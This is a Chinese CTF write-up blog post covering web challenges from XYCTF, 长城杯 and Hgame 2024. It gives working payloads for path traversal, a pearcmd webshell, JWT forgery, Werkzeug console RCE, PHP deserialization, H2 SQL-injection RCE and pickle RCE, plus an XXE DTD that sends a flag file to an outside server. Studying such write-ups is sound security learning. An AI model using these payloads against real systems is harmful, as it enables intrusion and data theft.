    filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")

    // 发送
    ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
    // ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
    await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
        logger.error(`Error while sending file ${hash_fn.yellow}`)
        logger.error(e)
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    })
})

module.exports = router;

简单分析一下,/s/后的内容为hashfn的值,其中前64位作为hash,请求中的参数from_uid的值作为const from_uid的值,用于后续验证文件是否可共享,是否存在于系统。在通过两个检测后,就会发给客服端,其中对于文件名基本没有过滤,我们通过../穿越目录访问环境变量即可

router.get("/s/:hashfn", async (ctx, next) => {
    const hash_fn = String(ctx.params.hashfn || '')
    const hash = hash_fn.slice(0, 64)
    const from_uid = ctx.query.from_uid
    const custom_fn = ctx.query.fn

linux下的环境变量位于/proc/self/environ

最后的payload:

curl http://node4.buuoj.cn:29720/s/469db0f38ca0c07c3c8726c516e0f967fa662bfb6944a19cf4c617b1aba78900/../../../../proc/self/environ?from_uid=100000 -o 1.txt        

      然后看1.txt文件即可

 4-复盘

根据前面的misc题可以拿到源码,其中关键代码如下

 <?php         
if (isset($_GET['page'])) {          
    $page ='pages/' .$_GET['page'].'.php';        
}
else
{          
    $page = 'pages/dashboard.php';        
}        
if (file_exists($page)) {          
    require_once $page;         
}
else{          
    require_once 'pages/error_page.php';        
} ?>

存在很明显的文件包含漏洞,与week3类似,包含pearcmd.php即可

payload:

GET /index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/var/www/html/1.php

读取文件需要提权,gzip命令可用

gzip -f /flag -t  

 Ye's Pickle

考点:无公私钥伪造jwt+pickle反序列化
import base64
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['role'] = 'admin'   #要修改的字段
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'    

#原jwt
originaltoken = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTk1MzgyNDQsImlhdCI6MTY5OTUzNDY0NCwianRpIjoiMFB1NllqWEFlRXMzZy1ZRFZ5bDNkUSIsIm5iZiI6MTY5OTUzNDY0NCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.K_GRKX1-2Em3LFLx5wD_VJ-lHrrU595Xwrniu_zxexgUDmy5DR9V9Qsq0lVMsEEwNoShA9-IsWiS58j3MxGldk3GUXWCEeXZ7HBlcPCB_wUlZ6TE7FIqZkeAbtH9EaptOEYTxzbiVsWsoLGjCm8Y9EazQkUQd_aQRhYHa6KgNmbmFeVQSeORwLAi1PVkjYT0wVtweG3KAegorhyBFpmK9v5nKvwFYP6l33LvkTLV3V1ryb-yfvCn08TLYKc17JNkRquBp_1pW_dH1P_qkxiO98806nBniPc76BjSwolLHPh7J9Wa53pBV2RSKbRjqmJ7JR3hr_RkgVmSOMUCeCT5sw'
topic = topic(originaltoken)
print(topic)

 pickle就是最简单的R指令执行

 pppython?

<?php
    
    if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
        header("Content-type: text/plain");
        system("ls / -la");
        exit();
    }
    
    try {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
        $output = curl_exec($ch);
        echo $output;
        curl_close($ch);   
    }catch (Error $x){
        highlight_file(__FILE__);
        highlight_string($x->getMessage());
    }

?> 

 简单代码审计,传参可以看根目录下文件,下面部分则是使用cURL库执行HTTP请求,并使用提供的URL和请求头部信息来定制请求内容。

先传参看看根目录:

可以看到有flag文件,但是需要权限不能直接读,还看到有一个app.py,肯定有蹊跷

结合file协议去读取一下app.py的内容,要注意lolita参数是header部分,应该是一个数组。

?url=file:///app.py&lolita[]=0
from flask import Flask, request, session, render_template, render_template_string 
import os, base64 
#from NeepuF1Le import neepu_files 
app = Flask(__name__) 
app.config['SECRET_KEY'] = '******' 
@app.route('/') 
def welcome(): 
    if session["islogin"] == True: 
        return "flag{***********************}" 
    app.run('0.0.0.0', 1314, debug=True)

?lolita[]=Cookie:__wzd3d910b5d784ac96048c1=1702047018|3fe90e7adf4c
&url=http://127.0.0.1:1314/console?
&__debugger__=yes&pin=200-001-804
&cmd=__import__("os").popen("ls").read()
&frm=0
&s=lrLipQkNez3cZzDYShlU

但是要注意的是:

后面的frm、cmd等参数是我们要请求的ip的参数,而非当前页面的参数,如果直接按照上面的payload,是会被当作当前页面参数的,我们需要对&和空格进行url编码

GET /?lolita[]=Cookie:__wzd3d910b5d784ac96048c1=1702047018|3fe90e7adf4c&url=http://127.0.0.1:1314/console?%26__debugger__=yes%26pin=200-001-804%26cmd=__import__("os").popen("cat%2B/flag").read()%26frm=0%26s=lrLipQkNez3cZzDYShlU

至于这个payload为什么是这个格式,我自己起了个flask看了下,只能说确实是这样的,s参数可以在/console页面的源码中找到,frm参数如果没有报错则为0.(这里的报错是指flask程序中出现了错误,在错误的页面调用console会产生frm不为0)

XYCTF:

 warmup:

前面就是基础的一些绕过就不多讲了

<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
    echo "操作你O.o";
    echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level
} else {
    die("有点汗流浃背");
}

这里是用到了preg_replace的e模式来命令执行,网上有挺多资料,这里主要讲一些坑点。

a=/(.*)/ies&b=\1&c=${phpinfo()}   //可以
a=/(.*)/ies&b=\1&c=${system(ls)}  //可以
a=/(.*)/ies&b=\1&c=${system('ls /')}   //不可以
a=/(.*)/ies&b=\1&c=${system('ls')}   //不可以
a=/(.*)/ies&b=\1&c=${system('ls /')}  //不可以
a=/(.*)/ies&b=\1&c=${system($_GET[1])}&1=ls /     //可以
a=/(.*)/ies&b=\1&c=${$_GET[1]}&1=system('ls /')     //不行

1.$_GET[1]获取的参数中引号会被转义

2.${}解析变量只会解析一次,c=${$_GET[1]}&1=system('ls /')只会把1的值替换进去而不会执行

ezPOP

考点:php反序列化和强制gc机制

 <?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
    public $s;
    public $a;
    public function __toString()
    {
        echo "you get 2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class BBB
{
    public $c;
    public $d;
    public function __get($name)
    {
        echo "you get 2 B <br>";
        $a=$_POST['a'];
        $b=$_POST;
        $c=$this->c;
        $d=$this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        call_user_func($a,$b)($c)($d);
    }
}

class CCC
{
    public $c;

    public function __destruct()
    {
        echo "you get 2 C <br>";
        echo $this->c;
    }
}


if(isset($_GET['xy'])) {
    $a = unserialize($_GET['xy']);
    throw new Exception("noooooob!!!");
}

 挺简单的,直接给payload了:

<?php
class AAA
{
    public $s;
    public $a;
}

class BBB
{
    public $c;
    public $d;
}

class CCC
{
    public $c;
}


$x = new CCC();
$x->c = new AAA();
$x->c->s = new BBB();
$x->c->s->c = "cat /flag";
echo serialize($x);

 将上面脚本生成的数据替换下面红色的数据即可

 a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";N;}s:1:"a";N;}}i:0;N;}

然后post传参

?a=current&b=system

简单讲解一下,比较了解的读者能看出来上面的序列化数据是一个数组对象,数组对象中有两个对象,一个是我们要反序列化的对象,另一个就是单纯的null。

但是我们发现两个对象的序号(键值)都是i:0,而反序列化是从里向外的,也就是说我们先反序列化了数组中的第一个对象,然后再序列化第二个对象,在序列化第二个对象时因为键是0,值是null,就会把原本键0指向的那个对象抛弃,指向一个null对象。这样原先那个对象就没有指向了,而当我们的对象没有指向的时候,这个对象就会被销毁,也就会触发destruct方法(否则源码中先回throw抛出错误,不会执行的destruct)

 长城杯:

最近在打长城杯,也是顺利被带入半决赛了,想找wp复现结果只能找到以前的,不过都一样,反正都不会。

1.

考点:php反序列化,xml

<?php
class TheUse{
    private $obj;
    private $con1;
    private $con2;
    function __construct($obj,$con1,$con2){
        $this->obj = $obj;
        $this->con1 = $con1;
        $this->con2 = $con2;
    }
    function __destruct(){
        $new = $this->obj;
        $new($this->con1,$this->con2);
    }
}
class MyClass{
    private $dir;
    function __construct($dir){
        $this->dir = $dir;
    }
    function __toString(){
        echo "String conversion...\n";
    }
    function __invoke($param1,$param2){
        $this->$param1($param2);
    }
    public function getdir($path){
        print_r(glob($path));
    }
    public function load($con){
        simplexml_load_string($con,null,LIBXML_NOENT);
    }
}

if(isset($_REQUEST['f'])){
    $filename=$_REQUEST['f'];
    is_dir($filename);
}else{
    highlight_file(__FILE__);
}

 此外还有一个文件上传点,结合源码中is_dir函数,可以用phar反序列化来触发链子。 

第一眼看走眼了,看到invoke方法还以为能直接rce,但是仔细一看是$this->$param1而不是$this->param1,这样的话只能调用类中的方法。

读文件没啥可说的,主要说说simplexml_load_string这个函数。

simplexml_load_string() 是 PHP 中用于将 XML 字符串解析为 SimpleXMLElement 对象的函数。它的主要作用是将一个包含 XML 数据的字符串转换为一个易于操作的对象,以便于对 XML 数据进行分析、提取和处理。

<?php
// XML 字符串
$xmlString = '
<bookstore>
    <book category="fiction">
        <title>Harry Potter</title>
        <author>J.K. Rowling</author>
        <year>2005</year>
    </book>
    <book category="children">
        <title>The Cat in the Hat</title>
        <author>Dr. Seuss</author>
        <year>1957</year>
    </book>
</bookstore>
';

// 使用 simplexml_load_string() 函数解析 XML 字符串
$xml = simplexml_load_string($xmlString);

// 访问 XML 数据并输出
foreach ($xml->book as $book) {
    echo "Title: " . $book->title . "<br>";
    echo "Author: " . $book->author . "<br>";
    echo "Year: " . $book->year . "<br>";
    echo "Category: " . $book['category'] . "<br>";
    echo "<br>";
}
?>

//如果xml中包含了实体引用,函数会尝试解析这个实体引用

坑点:xml中实体引用的路径需要绝对路径

payload:

<?php
class TheUse{
    private $obj;
    private $con1;
    private $con2;
    function __construct($obj,$con1,$con2){
        $this->obj = $obj;
        $this->con1 = $con1;
        $this->con2 = $con2;
    }
    function __destruct(){
        $new = $this->obj;
        $new($this->con1,$this->con2);
    }
}
class MyClass{
    private $dir;
    function __construct($dir){
        $this->dir = $dir;
    }
    function __toString(){
        echo "String conversion...\n";
    }
    function __invoke($param1,$param2){
        $this->$param1($param2);
    }
    public function getdir($path){
        print_r(glob($path));
    }
    public function load($con){
        simplexml_load_string($con,null,LIBXML_NOENT);
    }
}
$xml=<<<EOF
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]>
<x>&file;</x>
EOF;
$payload = new TheUse(new MyClass('./'), 'load', $xml);

Hgame 2024

week2

select more course

考点:条件竞争

要求是需要我们选课,但是学分到了上限不能选新的课,所以我们要扩学分,但是阔学分又要求我们绩点达标

( 这里我是已经选上了)

内部的逻辑未知,但是根据提示应该是要条件竞争,也就是同时请求阔学分和选课,利用burp双开爆破即可。

首先分别抓两次请求的包,在包里随便加点东西然后设置为要爆破的位置(因为后面爆破会把这个位置置空)

然后改下设置,开始爆破即可。

。。。。。。。。看了wp发现和我想得还是有点出入,好像只是扩学分出存在条件竞争,多线程请求扩学分就能成功,然后在选课(逻辑是一点都没给,感觉就是猜)。

myflask

写了两次都没保存哈哈哈哈哈,累了,毁灭吧,随便写写了。

考点:session伪造和pickle反序列化
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return currentTime

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

访问\路由返回源码,访问\flag路由会检测session,是admin就会进行pickle反序列化,存在漏洞,所以思路就是伪造session。

源码开始的地方提到了密钥,是依据当前的时间生成的六位纯数字,可以查询这个函数的用法,根据时间判断处密钥的范围然后爆破,也可以直接所有六位数字爆破。可以用flask_unsign工具。

得到密钥后伪造session,这里pickle的反序列化没有作任何过滤,直接用最简单的reduce即可race。

import pickle
import base64
import os
from urllib.parse import urlencode

class myflaskrce:
    def __reduce__(self):
        return (open, ('/flag', 'r'))
    # return (eval, ("__import__('os').popen('tac /flag').read()",))
payload = base64.b64encode(pickle.dumps(myflaskrce()))
post_params = {'pickle_data': payload}
print(urlencode(post_params))

search4member

考点:h2database的命令执行漏洞

给了源码,是java的sql注入,前端时间刚学了jdbc,大致都能看懂

这里的sql语句很明显存在sql注入的,可以查询数据库中的所有数据,但是查不到flag,题目给了提示是rce,数据库的名字查出来是h2,源码中也可以看到是h2database。

上网查了发现h2database存在rce漏洞,关键就在于其中的CREATE ALIAS函数。

在 H2 数据库中,CREATE ALIAS 用于创建 Java 函数别名,允许在 SQL 查询中调用 Java 方法

示例:

CREATE ALIAS MY_CONCAT AS $$ String myConcat(String str1, String str2) {
    return str1 + str2;
} $$;


SELECT MY_CONCAT('Hello ', 'World');
//返回'Hello World'

因此我们可以利用堆叠注入来执行CREATE ALIAS创建java函数

SJTU%';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws
java.io.IOException { java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter
("\\A"); return s.hasNext() ? s.next() : ""; }$$;SELECT * FROM member WHERE
intro LIKE '%13

因为题目是不出网的,不能用上面的java函数直接反弹shell。

可以考虑将flag写入数据库然后再查询出来。

SJTU%';INSERT INTO member (id, intro, blog) VALUES
('flag','flag',SHELLEXEC('cat /flag'));SELECT * FROM member WHERE intro LIKE
'%13

梅开二度

考点:go语言的ssti + xss

开学有课设,怒花五天五夜写完,然后刚好环境就关了,悲!只能看着wp颅内复现了。

考点是go语言的ssti + xss  ,是没接触过的知识,猛猛的学!

浅学Go下的ssti - SecPulse.COM | 安全脉搏

然后直接放一篇超详细的wp,写的很好

HGAME 2024 WEEK2 Web方向题解 全_what the cow say?-CSDN博客

我大致讲下就是访问/flag路由会读取flag放到cookie中,但是一定要是本地访问(注意这里的本地访问是服务端的ip,不是我们电脑这个客户端的ip),这个就要通过/bot路由实现,/bot会接受url参数,然后去请求这个url,/bot的本地ip就是服务端的本地ip。

如果我们直接传给/bot /flag的路由,bot会请求/flag,也会把cookie设置为flag,但是没办法带回来。

在/路由下存在ssti,但是会有转义过滤和长度限制以及一些白名单的过滤。

可以用Query()函数绕过,就类似jinjia2的ssti中的 request.args.a。

剩下的我也都不会了,看上面那篇wp就完了。

week3:

zero link:

考点:unzip触发软链接的覆盖

直接放个链接:

https://www.cnblogs.com/gxngxngxn/p/17439035.html

vidar box:

考点:file协议当ftp协议使用,xml解析触发xxe

一模一样直接用的别人的wp(写的很好!),这里放下链接
 

package org.vidar.controller;


import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;

import java.io.*;

@Controller
public class BackdoorController {

​    private String workdir = "file:///non_exist/";
​    private String suffix = ".xml";

​    @RequestMapping("/")
​    public String index() {
​        return "index.html";
​    }

​    @GetMapping({"/backdoor"})
​    @ResponseBody
​    public String hack(@RequestParam String fname) throws IOException, SAXException {
​        DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
​        byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();

​        if (content != null && this.safeCheck(content)) {
​            XMLReader reader = XMLReaderFactory.*createXMLReader*();
​            reader.parse(new InputSource(new ByteArrayInputStream(content)));
​            return "success";
​        } else {
​            return "error";
​        }
​    }

​    private boolean safeCheck(byte[] stream) throws IOException {
​        String content = new String(stream);
​        return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
​                !content.contains("doctype") && !content.contains("entity");
​    }

}

源码很简单,通过/backdoor路由可以读取本地文件,然后会将读取的文件当成xml解析,这里很明显的就是打一个无回显xxe,我们可以采用带出数据到自己服务器上的方式解决。

由于我们熟知的file协议一般用来读取本地文件,所以这边先本地搭建环境打打:

这边本地放一个1.xml文件

 

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://81.70.252.29/1.dtd"> %remote;%int;%send; ]>

然后在vps上放个1.dtd文件:

 

<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://81.70.252.29/1.txt?p=%file;'>">

我们看到这里有check,那么很简单,用编码绕过即可

 

iconv -f utf8 -t utf16 1.xml>2.xml

得到2.xml,我们直接读取看看:

可以看到带出本地数据成功了,那么接下来就是要如何读取远程的文件了,我们的思路很简单:

将2.xml放到vps上,然后让靶机读取即可

那么这里就有新的问题了,用file协议怎么读取远程文件呢,一般我们认为file协议都是用来读取本地文件的

直到我看到了这段话

这说明file协议有着ftp协议类似的效果,我们可以本地调试一下:

传入如上数据时,我们可以看到报错了,很明显这是ftp的报错,因为我们传入了错误的账号密码

虽然错了,但是证明了ftp协议是成功了,我们可以读取远程的文件,那么接下来只需要传入正确的账号密码即可

我们下断点,跟进调试可知:

如果我们没有传入账号密码,那么这里会自动给我们传入一个默认的账号密码:

账号是anonymous,密码跟你的jdk版本有关

我这里是17.0.10,所以我默认密码是Java17.0.10@

那么靶机的jdk版本是多少呢,这里我就猜了一下

从17.0.0-17.0.10一个个试,很幸运靶机的jdk版本是17.0.1,成功命中

那么我们在vps上起个ftp服务,将账号密码如上设置为anonymous:Java17.0.1@,并将2.xml放在目录下,接着在靶机处连接即可:

成功拿到flag

待做:

SICTF

[进阶]elInjection   考点el表达式注入

VNCTF 

downdowndown 考点  http2,3请求走私

codefever_again

ez_job    考点:hessian-api反序列化

                

L3HCTF

VCTF

archived elephant

DubheCTF

PolarCTF2024春季赛

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1577423.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

笔记 | 编译原理L1

重点关注过程式程序设计语言编译程序的构造原理和技术 1 程序设计语言 1.1 依据不同范型 过程式(Procedural programming languages–imperative)函数式(Functional programming languages–declarative)逻辑式(Logical programming languages–declarative)对象式(Object-or…

解决游戏霍格沃兹找不到EMP.dll问题的5种方法

在玩《霍格沃兹》游戏时&#xff0c;我们可能会遇到一些错误提示&#xff0c;其中之一就是“缺少dll文件”。其中&#xff0c;EMP.dll文件丢失是一个常见的问题。这个问题可能会导致游戏无法正常运行或出现各种错误。为了解决这个问题&#xff0c;本文将介绍5种解决方法&#x…

【线段树】【前缀和】:1687从仓库到码头运输箱子

本题简单解法 C前缀和算法的应用&#xff1a;1687从仓库到码头运输箱子 本文涉及的基础知识点 C算法&#xff1a;前缀和、前缀乘积、前缀异或的原理、源码及测试用例 包括课程视频 线段树 LeetCode1687从仓库到码头运输箱子 你有一辆货运卡车&#xff0c;你需要用这一辆车…

paddle实现手写数字模型(一)

参考文档&#xff1a;paddle官网文档环境&#xff1a;Python 3.12.2 &#xff0c;pip 24.0 &#xff0c;paddlepaddle 2.6.0 python -m pip install paddlepaddle2.6.0 -i https://pypi.tuna.tsinghua.edu.cn/simple调试代码如下&#xff1a; LeNet.py import paddle import p…

初学python记录:力扣1600. 王位继承顺序

题目&#xff1a; 一个王国里住着国王、他的孩子们、他的孙子们等等。每一个时间点&#xff0c;这个家庭里有人出生也有人死亡。 这个王国有一个明确规定的王位继承顺序&#xff0c;第一继承人总是国王自己。我们定义递归函数 Successor(x, curOrder) &#xff0c;给定一个人…

数据结构——二叉树——二叉搜索树(Binary Search Tree, BST)

目录 一、98. 验证二叉搜索树 二、96. 不同的二叉搜索树 三、538. 把二叉搜索树转换为累加树 二叉搜索树&#xff1a;对于二叉搜索树中的每个结点&#xff0c;其左子结点的值小于该结点的值&#xff0c;而右子结点的值大于该结点的值 一、98. 验证二叉搜索树 给你一个二叉树的…

GAMES Webinar 317-渲染专题-图形学 vs. 视觉大模型|Talk+Panel形式

两条路线&#xff1a;传统渲染路线&#xff0c;生成路线 两种路线的目的都是最终生成图片或者视频等在现在生成大火的情况下&#xff0c;传统路线未来该如何发展呢&#xff0c;两种路线是否能够兼容呢 严令琪 这篇工作是吸取这两条路各自优势的一篇工作 RGB是一张图&#xff…

好用的AI智能工具:AI写作、AI绘画、AI翻译全都有

在科技不断进步的今天&#xff0c;人工智能&#xff08;AI&#xff09;已经成为我们日常生活中不可或缺的一部分。它不仅在各个领域都有应用&#xff0c;还为我们提供了许多方便快捷的工具。对此&#xff0c;小编今天推荐7款人工智能软件&#xff0c;AI写作、AI绘画、AI翻译全都…

Vue - 你知道Vue组件之间是如何进行数据传递的吗

难度级别:中级及以上 提问概率:85% 这道题还可以理解为Vue组件之间的数据是如何进行共享的,也可以理解为组件之间是如何通信的,很多人叫法不同,但都是说的同一个意思。我们知道,在Vue单页面应用项目中,所有的组件都是被嵌套在App.vue内…

2024/4/1—力扣—BiNode

代码实现&#xff1a; /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/void convertBiNode_pro(struct TreeNode *root, struct TreeNode **p) {if (root) {convertBiNode_pro(roo…

Git - 如何重置或更改 Git SSH 密钥的密码?

Git 使用 ssh 方式拉取代码时&#xff0c;报 ssh password login&#xff0c;提示输入密码&#xff0c;这时很容易误填为 Git 的登录密码&#xff0c;其实这时需要输入 SSH 证书的密码&#xff0c;下面直接提供更改以及重新导入证书的方式。 首先需要确认你的本地是否有 SSH 钥…

HIS系统是什么?一套前后端分离云HIS系统源码 接口技术RESTful API + WebSocket + WebService

HIS系统是什么&#xff1f;一套前后端分离云HIS系统源码 接口技术RESTful API WebSocket WebService 医院管理信息系统(全称为Hospital Information System)即HIS系统。 常规模版包括门诊管理、住院管理、药房管理、药库管理、院长查询、电子处方、物资管理、媒体管理等&…

与汇智知了堂共舞,HW行动开启你的网络安全新篇章!

**网安圈内一年一度的HW行动来啦&#xff01; ** 招募对象 不限&#xff0c;有HW项目经验 或持有NISP二级、CISP证书优先 HW时间 以官方正式通知为准 工作地点&#xff1a;全国 薪资待遇 带薪HW &#xff08;根据考核成绩500-4000元/天不等&#xff09; 招募流程 1.填写报名…

中科数安 || 公司电脑文件资料防泄密系统

#公司电脑文件资料防泄密# 中科数安推出的公司电脑文件资料防泄密系统&#xff0c;是一款专为企业电脑终端设计的数据安全解决方案&#xff0c;旨在全方位保护公司电脑中存储、处理、传输的各类文件资料免遭非法窃取、泄露或滥用。 中科数安 || 文件数据资料防泄密软件 PC地址…

第二十五周代码(蓝桥杯查缺补漏)

2024/03/31 周日 填充 题目链接 【参考代码】 想用暴力&#xff0c;没过 //枚举&#xff0c;未出结果QAQ #include <bits/stdc.h> using namespace std; string s00 "00"; string s11 "11"; int ans 0; //m个问号&#xff0c;子串有2^m…

如何本地搭建Discuz论坛并实现无公网IP远程访问

文章目录 前言1.安装基础环境2.一键部署Discuz3.安装cpolar工具4.配置域名访问Discuz5.固定域名公网地址6.配置Discuz论坛 前言 Crossday Discuz! Board&#xff08;以下简称 Discuz!&#xff09;是一套通用的社区论坛软件系统&#xff0c;用户可以在不需要任何编程的基础上&a…

基于velero和minio实现k8s数据的备份

1.30部署minio rootk8s-harbor:/etc/kubeasz/clusters/k8s-cluster1# docker run \ -d --restartalways -p 9000:9000 -p 9090:9090 –name minio -v /data/minio/data:/data -e “MINIO_ROOT_USERadmin” -e “MINIO_ROOT_PASSWORD12345678” quay.io/minio/minio server…

Golang | Leetcode Golang题解之第9题回文数

题目&#xff1a; 题解&#xff1a; func isPalindrome(x int) bool {// 特殊情况&#xff1a;// 如上所述&#xff0c;当 x < 0 时&#xff0c;x 不是回文数。// 同样地&#xff0c;如果数字的最后一位是 0&#xff0c;为了使该数字为回文&#xff0c;// 则其第一位数字也…

2024Spring> HNU-计算机系统-实验2-datalab-导引

前言 datalab考验对于位运算以及浮点数存储的理解&#xff0c;如果真的肯花时间去搞懂&#xff0c;对计算机系统存储的理解真的能上一个台阶。与课程考试关联性上来说不是很大&#xff0c;但对于IEEE的浮点数表示一定要熟练掌握。 导引 ①实验工具包 要完成的是bits.c中的15个…

Java | Leetcode Java题解之第13题罗马数字转整数

题目&#xff1a; 题解&#xff1a; class Solution {Map<Character, Integer> symbolValues new HashMap<Character, Integer>() {{put(I, 1);put(V, 5);put(X, 10);put(L, 50);put(C, 100);put(D, 500);put(M, 1000);}};public int romanToInt(String s) {int …